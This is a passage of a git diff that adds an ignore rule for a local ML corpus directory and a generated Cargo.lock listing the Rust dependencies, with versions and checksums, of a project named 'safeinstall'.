diff --git a/.gitignore b/.gitignore index 2f92cb8..d7e1f36 100644 --- a/.gitignore +++ b/.gitignore @@ -7,4 +7,6 @@ Thumbs.db .omo .opencode -cargo.lock \ No newline at end of file +cargo.lock +# ML corpus: raw scripts are fetched/derived locally and never committed. +ml/corpus/ diff --git a/Cargo.lock b/Cargo.lock new file mode 100644 index 0000000..60bc49e --- /dev/null +++ b/Cargo.lock @@ -0,0 +1,1592 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 4 + +[[package]] +name = "aho-corasick" +version = "1.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c982642fa9e8606056828ee9a8505737230110bb1099153c79efe865c59d12ba" +dependencies = [ + "memchr", +] + +[[package]] +name = "anstream" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "824a212faf96e9acacdbd09febd34438f8f711fb84e09a8916013cd7815ca28d" +dependencies = [ + "anstyle", + "anstyle-parse", + "anstyle-query", + "anstyle-wincon", + "colorchoice", + "is_terminal_polyfill", + "utf8parse", +] + +[[package]] +name = "anstyle" +version = "1.0.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "940b3a0ca603d1eade50a4846a2afffd5ef57a9feac2c0e2ec2e14f9ead76000" + +[[package]] +name = "anstyle-parse" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "52ce7f38b242319f7cabaa6813055467063ecdc9d355bbb4ce0c68908cd8130e" +dependencies = [ + "utf8parse", +] + +[[package]] +name = "anstyle-query" +version = "1.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "40c48f72fd53cd289104fc64099abca73db4166ad86ea0b4341abe65af83dadc" +dependencies = [ + "windows-sys 0.61.2", +] + +[[package]] +name = "anstyle-wincon" +version = "3.0.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "291e6a250ff86cd4a820112fb8898808a366d8f9f58ce16d1f538353ad55747d" +dependencies = [ + "anstyle", + "once_cell_polyfill", + "windows-sys 0.61.2", +] + +[[package]] +name = "anyhow" +version = "1.0.104" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "330a5ed07fa54e4702c9d6c4174f74427fc0ef6e214bbd677ae50a5099946470" + +[[package]] +name = "atomic-waker" +version = "1.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1505bd5d3d116872e7271a6d4e16d81d0c8570876c8de68093a09ac269d8aac0" + +[[package]] +name = "base64" +version = "0.22.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6" + +[[package]] +name = "base64" +version = "0.23.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac07cdecf99051d9a5238b80f35af32cdeba5b336e55d957b318b50137e18da5" + +[[package]] +name = "bitflags" +version = "2.13.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3ded4057c258ba199e2d26386d3af3780957ecaee6c4ef4041c6b4b8b97c0b06" + +[[package]] +name = "block-buffer" +version = "0.10.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71" +dependencies = [ + "generic-array", +] + +[[package]] +name = "bumpalo" +version = "3.20.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72f5acc6cb2ba439de613abc23857ec3d78374d8ed5ac84e9d11336e87da8649" + +[[package]] +name = "bytes" +version = "1.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc652a48c352aef3ea3aed32080501cf3ef6ed5da78602a020c991775b0aff04" + +[[package]] +name = "cc" +version = "1.4.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "54413ede23c2daf518f35156dfde027feb2374004d63bd497f983c8db9c0e313" +dependencies = [ + "find-msvc-tools", + "shlex", +] + +[[package]] +name = "cfg-if" +version = "1.0.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4e7648175b45a9a48536d676f68d918270699102aa8dab5496df06904c914600" + +[[package]] +name = "cfg_aliases" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f079e83a288787bcd14a6aea84cee5c87a67c5a3e660c30f557a3d24761b3527" + +[[package]] +name = "chacha20" +version = "0.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "65c35e4b699c7e15ccbe7ee35c005e4fc0a278d22238a2857e6ce2dadeda1b06" +dependencies = [ + "cfg-if", + "cpufeatures 0.3.1", + "rand_core", +] + +[[package]] +name = "clap" +version = "4.6.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "aa8876b300ab35ba921adea3dfd70157a46249b33f95c9084ae5709785478946" +dependencies = [ + "clap_builder", + "clap_derive", +] + +[[package]] +name = "clap_builder" +version = "4.6.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec0797fb7aeb1406c84efac526901f7ec3ead2124f946b494e72879d4b54704d" +dependencies = [ + "anstream", + "anstyle", + "clap_lex", + "strsim", +] + +[[package]] +name = "clap_derive" +version = "4.6.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f9c751b79415d4e559e3d1fcf128e09e720eb673a06d26cf6f392d37d75b66e0" +dependencies = [ + "heck", + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "clap_lex" +version = "1.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1c133bc6a41be0d194c306b5506d15e6feeea7b1d6604bd3f8310dfb2ca96486" + +[[package]] +name = "colorchoice" +version = "1.0.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1d07550c9036bf2ae0c684c4297d503f838287c83c53686d05370d0e139ae570" + +[[package]] +name = "cpufeatures" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "59ed5838eebb26a2bb2e58f6d5b5316989ae9d08bab10e0e6d103e656d1b0280" +dependencies = [ + "libc", +] + +[[package]] +name = "cpufeatures" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5ca28b0ae3115b884660db4118d803791fd6756b6e88f39c0f3f7859060d7566" +dependencies = [ + "libc", +] + +[[package]] +name = "crypto-common" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "78c8292055d1c1df0cce5d180393dc8cce0abec0a7102adb6c7b1eef6016d60a" +dependencies = [ + "generic-array", + "typenum", +] + +[[package]] +name = "digest" +version = "0.10.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292" +dependencies = [ + "block-buffer", + "crypto-common", +] + +[[package]] +name = "displaydoc" +version = "0.2.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c6232dd377dcc64799954cbd3a9bb882e9cdc1308ccd87b1c098f1fb2eaf82a8" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "equivalent" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "877a4ace8713b0bcf2a4e7eec82529c029f1d0619886d18145fea96c3ffe5c0f" + +[[package]] +name = "errno" +version = "0.3.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "39cab71617ae0d63f51a36d69f866391735b51691dbda63cf6f96d042b63efeb" +dependencies = [ + "libc", + "windows-sys 0.61.2", +] + +[[package]] +name = "fastrand" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da7c62ceae207dd37ea5b845da6a0696c799f85e97da1ab5b7910be3c1c80223" + +[[package]] +name = "find-msvc-tools" +version = "0.1.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ef25905e51abafe4dcea6c15fec58c57b601cdbd0ee53d22ea1d3016c587d39b" + +[[package]] +name = "form_urlencoded" +version = "1.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb4cb245038516f5f85277875cdaa4f7d2c9a0fa0468de06ed190163b1581fcf" +dependencies = [ + "percent-encoding", +] + +[[package]] +name = "futures-channel" +version = "0.3.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b1f9e3d69d39e4862ffed03ed071a76f9a13ba1d9109d355b0f0aa6b15e393c4" +dependencies = [ + "futures-core", +] + +[[package]] +name = "futures-core" +version = "0.3.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "92d699e522242e69e3003b94ecc1f960f3a5e015aa7c5d7486e65ad01dd94f5e" + +[[package]] +name = "futures-task" +version = "0.3.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cd417de3d1d015fc3bfd2b1ea46dfc7bab72ef86f1cc7cc9c78e728b34a6d1fd" + +[[package]] +name = "futures-util" +version = "0.3.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0d50a92467f8ba5dd6e3ee5d4bd04d73ab2e4e1c44474a0674821dfce14b79bc" +dependencies = [ + "futures-core", + "futures-task", + "pin-project-lite", + "slab", +] + +[[package]] +name = "generic-array" +version = "0.14.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a" +dependencies = [ + "typenum", + "version_check", +] + +[[package]] +name = "getrandom" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff2abc00be7fca6ebc474524697ae276ad847ad0a6b3faa4bcb027e9a4614ad0" +dependencies = [ + "cfg-if", + "js-sys", + "libc", + "wasi", + "wasm-bindgen", +] + +[[package]] +name = "getrandom" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "300e883d756b2e4ec94e02791f39b04b522276138852cfc41d9fb7e904106099" +dependencies = [ + "cfg-if", + "js-sys", + "libc", + "r-efi", + "rand_core", + "wasm-bindgen", +] + +[[package]] +name = "hashbrown" +version = "0.17.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed5909b6e89a2db4456e54cd5f673791d7eca6732202bbf2a9cc504fe2f9b84a" + +[[package]] +name = "heck" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea" + +[[package]] +name = "http" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "918d3568bebf352712bc2ef3d46a8bcf1a75b373be6539de198e9105cbbf9ce0" +dependencies = [ + "bytes", + "itoa", +] + +[[package]] +name = "http-body" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ca2a8f2913ee65f60facd6a5905613afaa448497a0230cc41ce022d93290bc2c" +dependencies = [ + "bytes", + "http", +] + +[[package]] +name = "http-body-util" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "23169fe34a5fbcdd3f3862e78fb9b6fccd5f02a6dc6f732547005d45631ce71c" +dependencies = [ + "bytes", + "futures-core", + "http", + "http-body", + "pin-project-lite", +] + +[[package]] +name = "httparse" +version = "1.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6dbf3de79e51f3d586ab4cb9d5c3e2c14aa28ed23d180cf89b4df0454a69cc87" + +[[package]] +name = "hyper" +version = "1.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "27b501faa50e7a26c3d3560ca625132f4078a17771f4810baf70475ae48cbe43" +dependencies = [ + "atomic-waker", + "bytes", + "futures-channel", + "futures-core", + "http", + "http-body", + "httparse", + "itoa", + "pin-project-lite", + "smallvec", + "tokio", + "want", +] + +[[package]] +name = "hyper-rustls" +version = "0.27.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dfa8e654703247911e29c23fbeaa261834bd9bb74efba2f9acddc37bfb127f53" +dependencies = [ + "http", + "hyper", + "hyper-util", + "rustls", + "tokio", + "tokio-rustls", + "tower-service", + "webpki-roots", +] + +[[package]] +name = "hyper-util" +version = "0.1.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ddc03d96684f9226b8a787cdb71488417b53ab5ea8fdb1dac946cb9431cc8bff" +dependencies = [ + "base64 0.23.1", + "bytes", + "futures-channel", + "futures-util", + "http", + "http-body", + "httparse", + "hyper", + "ipnet", + "libc", + "percent-encoding", + "pin-project-lite", + "socket2", + "tokio", + "tower-service", + "tracing", +] + +[[package]] +name = "icu_collections" +version = "2.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fa68d21081c4a05d5a901a1c62add574c77048b6a1c67be3b50ce0b60d4ca513" +dependencies = [ + "displaydoc", + "potential_utf", + "utf8_iter", + "yoke", + "zerofrom", + "zerovec", +] + +[[package]] +name = "icu_locale_core" +version = "2.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d56e28588da92eee5c3201a6eff33fabdd49b62269c8938d4ff050ce4d900deb" +dependencies = [ + "displaydoc", + "litemap", + "tinystr", + "writeable", + "zerovec", +] + +[[package]] +name = "icu_normalizer" +version = "2.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "12f9cf5f235641ed274641dd81c3f28d870e276763d0797aeeab72317b1c646f" +dependencies = [ + "icu_collections", + "icu_normalizer_data", + "icu_properties", + "icu_provider", + "smallvec", + "zerovec", +] + +[[package]] +name = "icu_normalizer_data" +version = "2.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1563da1ed3e0b3bf3d74c9b85917ac9c56464d2f57242270c09c9e752f8021a0" + +[[package]] +name = "icu_properties" +version = "2.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7e7ca276ad3145661a65914e6daf131ca5120cd3dcee8f8f3214b8875184a148" +dependencies = [ + "displaydoc", + "icu_collections", + "icu_locale_core", + "icu_properties_data", + "icu_provider", + "zerotrie", + "zerovec", +] + +[[package]] +name = "icu_properties_data" +version = "2.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e590f038c1464a96894fd6d10127e90a8be4509f56ff7ecef851b15cee0b7caa" + +[[package]] +name = "icu_provider" +version = "2.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d27bbb9d3abbefac45d55f647c9de1d44aafcd1186eb91879afef17c396c3e73" +dependencies = [ + "displaydoc", + "icu_locale_core", + "writeable", + "yoke", + "zerofrom", + "zerotrie", + "zerovec", +] + +[[package]] +name = "idna" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3b0875f23caa03898994f6ddc501886a45c7d3d62d04d2d90788d47be1b1e4de" +dependencies = [ + "idna_adapter", + "smallvec", + "utf8_iter", +] + +[[package]] +name = "idna_adapter" +version = "1.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb68373c0d6620ef8105e855e7745e18b0d00d3bdb07fb532e434244cdb9a714" +dependencies = [ + "icu_normalizer", + "icu_properties", +] + +[[package]] +name = "indexmap" +version = "2.14.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cc4e190f5d26ca7051642629da2c52fc03bde85a03197c99408dcd291734c855" +dependencies = [ + "equivalent", + "hashbrown", +] + +[[package]] +name = "ipnet" +version = "2.12.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "791930b43c0d5973160d90a8f3894509f2b273430f5c5c73b668636d0287c5c0" + +[[package]] +name = "is_terminal_polyfill" +version = "1.70.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a6cb138bb79a146c1bd460005623e142ef0181e3d0219cb493e02f7d08a35695" + +[[package]] +name = "itoa" +version = "1.0.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f42a60cbdf9a97f5d2305f08a87dc4e09308d1276d28c869c684d7777685682" + +[[package]] +name = "js-sys" +version = "0.3.106" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7883d941dae510fb2d978fc3fe018c71c9e2892fd38854de3e8b92c2e5ad9cc5" +dependencies = [ + "cfg-if", + "futures-util", + "wasm-bindgen", +] + +[[package]] +name = "libc" +version = "0.2.189" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3eaf3ede3fee6db1a4c2ee091bf8a8b4dccdc6d17f656fb07896ee72867612f2" + +[[package]] +name = "linux-raw-sys" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a66949e030da00e8c7d4434b251670a91556f4144941d37452769c25d58a53" + +[[package]] +name = "litemap" +version = "0.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "47d9d19d1d6efa0109d2f65ff4c85cddd50bd572e5a00127ab10987290bcefae" + +[[package]] +name = "log" +version = "0.4.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f9f8bd3e56ce4dfc153cf470fffbfa98c7620958b312ca5c3a4b8d5181fd13c6" + +[[package]] +name = "lru-slab" +version = "0.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4050469837a6ff301cd14c1f8f24f88549e6d548f24f64e2148eb0f72cebc51f" + +[[package]] +name = "memchr" +version = "2.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf8baf1c55e62ffcace7a9f06f4bd9cd3f0c4beb022d3b367256b91b87513d98" + +[[package]] +name = "mio" +version = "1.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4b18443e9c262bfe8fa82f51666e2642c53393f7e5c27b3e1aeab922cff5b9d8" +dependencies = [ + "libc", + "wasi", + "windows-sys 0.61.2", +] + +[[package]] +name = "once_cell" +version = "1.21.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9f7c3e4beb33f85d45ae3e3a1792185706c8e16d043238c593331cc7cd313b50" + +[[package]] +name = "once_cell_polyfill" +version = "1.70.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "384b8ab6d37215f3c5301a95a4accb5d64aa607f1fcb26a11b5303878451b4fe" + +[[package]] +name = "percent-encoding" +version = "2.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b4f627cb1b25917193a259e49bdad08f671f8d9708acfd5fe0a8c1455d87220" + +[[package]] +name = "pin-project-lite" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a89322df9ebe1c1578d689c92318e070967d1042b512afbe49518723f4e6d5cd" + +[[package]] +name = "potential_utf" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d83eb9bc6d8e5cf568e7a1101d60ee05e81ed50ea106026f3d18deeb046d7661" +dependencies = [ + "zerovec", +] + +[[package]] +name = "proc-macro2" +version = "1.0.107" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "985e7ec9bb745e6ce6535b544d84d6cd6f7ad8bd711c398938ae983b91a766d9" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "quinn" +version = "0.11.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4051e23e9185c255a7e33ef59cdbca87a22d359052eecd22fc6b901fb37d9d11" +dependencies = [ + "bytes", + "cfg_aliases", + "pin-project-lite", + "quinn-proto", + "quinn-udp", + "rustc-hash", + "rustls", + "socket2", + "thiserror", + "tokio", + "tracing", + "web-time", +] + +[[package]] +name = "quinn-proto" +version = "0.11.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a9746dbde176634f4f2f1faf2404e30a31b2bc1e9cafb5329c95d8177a18c9fc" +dependencies = [ + "bytes", + "getrandom 0.4.3", + "lru-slab", + "rand", + "rand_pcg", + "ring", + "rustc-hash", + "rustls", + "rustls-pki-types", + "slab", + "thiserror", + "tinyvec", + "tracing", + "web-time", +] + +[[package]] +name = "quinn-udp" +version = "0.5.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "35a133f956daabe89a61a685c2649f13d82d5aa4bd5d12d1277e1072a21c0694" +dependencies = [ + "cfg_aliases", + "libc", + "once_cell", + "socket2", + "tracing", + "windows-sys 0.61.2", +] + +[[package]] +name = "quote" +version = "1.0.47" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fbf4db142a473a8d80c26bbf18454ed458bf8d26c8219c331daecfdbd079001" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "r-efi" +version = "6.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8dcc9c7d52a811697d2151c701e0d08956f92b0e24136cf4cf27b57a6a0d9bf" + +[[package]] +name = "rand" +version = "0.10.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "65c9fb96cbc91e3478eaae79a69fcd3f1ae4ad052e471fe6732fff548984b4af" +dependencies = [ + "chacha20", + "getrandom 0.4.3", + "rand_core", +] + +[[package]] +name = "rand_core" +version = "0.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "63b8176103e19a2643978565ca18b50549f6101881c443590420e4dc998a3c69" + +[[package]] +name = "rand_pcg" +version = "0.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "caa0f4137e1c0a72f4c651489402276c8e8e1cf081f3b0ba156d2cbeef09e86a" +dependencies = [ + "rand_core", +] + +[[package]] +name = "regex" +version = "1.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f020237b6c8eed93db2e2cb53c00c60a8e1bc73da7d073199a1180401450218d" +dependencies = [ + "aho-corasick", + "memchr", + "regex-automata", + "regex-syntax", +] + +[[package]] +name = "regex-automata" +version = "0.4.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ad8553b9b26413251cbf30e620595c7a41b3887f03da04579c0e6b0d6a06b4b2" +dependencies = [ + "aho-corasick", + "memchr", + "regex-syntax", +] + +[[package]] +name = "regex-syntax" +version = "0.8.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d6f6ff9a378485b298a5286656da665ba74413d36db0979633275d2e708145d4" + +[[package]] +name = "reqwest" +version = "0.12.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eddd3ca559203180a307f12d114c268abf583f59b03cb906fd0b3ff8646c1147" +dependencies = [ + "base64 0.22.1", + "bytes", + "futures-core", + "http", + "http-body", + "http-body-util", + "hyper", + "hyper-rustls", + "hyper-util", + "js-sys", + "log", + "percent-encoding", + "pin-project-lite", + "quinn", + "rustls", + "rustls-pki-types", + "serde", + "serde_json", + "serde_urlencoded", + "sync_wrapper", + "tokio", + "tokio-rustls", + "tower", + "tower-http", + "tower-service", + "url", + "wasm-bindgen", + "wasm-bindgen-futures", + "web-sys", + "webpki-roots", +] + +[[package]] +name = "ring" +version = "0.17.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a4689e6c2294d81e88dc6261c768b63bc4fcdb852be6d1352498b114f61383b7" +dependencies = [ + "cc", + "cfg-if", + "getrandom 0.2.17", + "libc", + "untrusted", + "windows-sys 0.52.0", +] + +[[package]] +name = "rustc-hash" +version = "2.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6b1e7f9a428571be2dc5bc0505c13fb6bf936822b894ec87abf8a08a4e51742d" + +[[package]] +name = "rustix" +version = "1.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "891efababe418670775f199f0d233d84843c227a0949a883ce15b37c78d6629d" +dependencies = [ + "bitflags", + "errno", + "libc", + "linux-raw-sys", + "windows-sys 0.61.2", +] + +[[package]] +name = "rustls" +version = "0.23.45" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0d41d731c7d2f962d1ccc364cec258de3c0e93b38c2fb3ba97ac74513048d634" +dependencies = [ + "once_cell", + "ring", + "rustls-pki-types", + "rustls-webpki", + "subtle", + "zeroize", +] + +[[package]] +name = "rustls-pki-types" +version = "1.15.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2f4925028c7eb5d1fcdaf196971378ed9d2c1c4efc7dc5d011256f76c99c0a96" +dependencies = [ + "web-time", + "zeroize", +] + +[[package]] +name = "rustls-webpki" +version = "0.103.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f3c3cf1d8b1e7d4927e2d154c3fcb02979afb9939629c62cd9048d4f07b60ac2" +dependencies = [ + "ring", + "rustls-pki-types", + "untrusted", +] + +[[package]] +name = "rustversion" +version = "1.0.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf54715a573b99ac80df0bc206da022bcd442c974952c7b9720069370852e21f" + +[[package]] +name = "ryu" +version = "1.0.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9774ba4a74de5f7b1c1451ed6cd5285a32eddb5cccb8cc655a4e50009e06477f" + +[[package]] +name = "safeinstall" +version = "0.1.0" +dependencies = [ + "anyhow", + "clap", + "regex", + "reqwest", + "serde", + "serde_json", + "sha2", + "tempfile", + "tokio", + "url", +] + +[[package]] +name = "serde" +version = "1.0.229" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4148590afebada386688f18773da617792bf2ef03ffc1e4cbd2b1d45b023e0ba" +dependencies = [ + "serde_core", + "serde_derive", +] + +[[package]] +name = "serde_core" +version = "1.0.229" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "67dca2c9c51e58a4791a4b1ed58308b39c64224d349a935ab5039aa360942a48" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_derive" +version = "1.0.229" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e7a5d71263a5a7d47b41f6b3f06ba276f10cc18b0931f1799f710578e2309348" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "serde_json" +version = "1.0.151" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c841b55ecdae098c80dcae9cf767f6f8a0c2cdb3416bbef72181df4d0fe73f14" +dependencies = [ + "indexmap", + "itoa", + "memchr", + "serde", + "serde_core", + "zmij", +] + +[[package]] +name = "serde_urlencoded" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3491c14715ca2294c4d6a88f15e84739788c1d030eed8c110436aafdaa2f3fd" +dependencies = [ + "form_urlencoded", + "itoa", + "ryu", + "serde", +] + +[[package]] +name = "sha2" +version = "0.10.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a7507d819769d01a365ab707794a4084392c824f54a7a6a7862f8c3d0892b283" +dependencies = [ + "cfg-if", + "cpufeatures 0.2.17", + "digest", +] + +[[package]] +name = "shlex" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8fadd59c855ef2080decdef8ff161eb6661b86933c9d82e5ba29dc602a55aba" + +[[package]] +name = "signal-hook-registry" +version = "1.4.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c4db69cba1110affc0e9f7bcd48bbf87b3f4fc7c61fc9155afd4c469eb3d6c1b" +dependencies = [ + "errno", + "libc", +] + +[[package]] +name = "slab" +version = "0.4.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0c790de23124f9ab44544d7ac05d60440adc586479ce501c1d6d7da3cd8c9cf5" + +[[package]] +name = "smallvec" +version = "1.16.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f9395f0f0eee849a9b707b2f06bb92a6a422090e2123bb2ef8e87a0e61892a8e" + +[[package]] +name = "socket2" +version = "0.6.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c3d1e2c7f27f8d4cb10542a02c49005dbd6e93095799d6f3be745fae9f8fedd4" +dependencies = [ + "libc", + "windows-sys 0.61.2", +] + +[[package]] +name = "stable_deref_trait" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6ce2be8dc25455e1f91df71bfa12ad37d7af1092ae736f3a6cd0e37bc7810596" + +[[package]] +name = "strsim" +version = "0.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f" + +[[package]] +name = "subtle" +version = "2.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "13c2bddecc57b384dee18652358fb23172facb8a2c51ccc10d74c157bdea3292" + +[[package]] +name = "syn" +version = "3.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8593e8e72159ed2257d083c7a454a85cbf854f37a0966d8d483aff8c8a3ebcee" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "sync_wrapper" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0bf256ce5efdfa370213c1dabab5935a12e49f2c58d15e9eac2870d3b4f27263" +dependencies = [ + "futures-core", +] + +[[package]] +name = "synstructure" +version = "0.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "901704edd0dfe137f1987838ee4f259e4e063c31371bdb423f7ae38ec6f77f02" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "tempfile" +version = "3.27.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32497e9a4c7b38532efcdebeef879707aa9f794296a4f0244f6f69e9bc8574bd" +dependencies = [ + "fastrand", + "getrandom 0.4.3", + "once_cell", + "rustix", + "windows-sys 0.61.2", +] + +[[package]] +name = "thiserror" +version = "2.0.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09e52cb86a36cede5cb101bf8908837b3e4c6e5e59fe7fd85c23fb56200d189e" +dependencies = [ + "thiserror-impl", +] + +[[package]] +name = "thiserror-impl" +version = "2.0.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fe5197923287db20a58125f0bc85c062f7f2c892de97b18c356f9efb14b28524" +dependencies = [ + 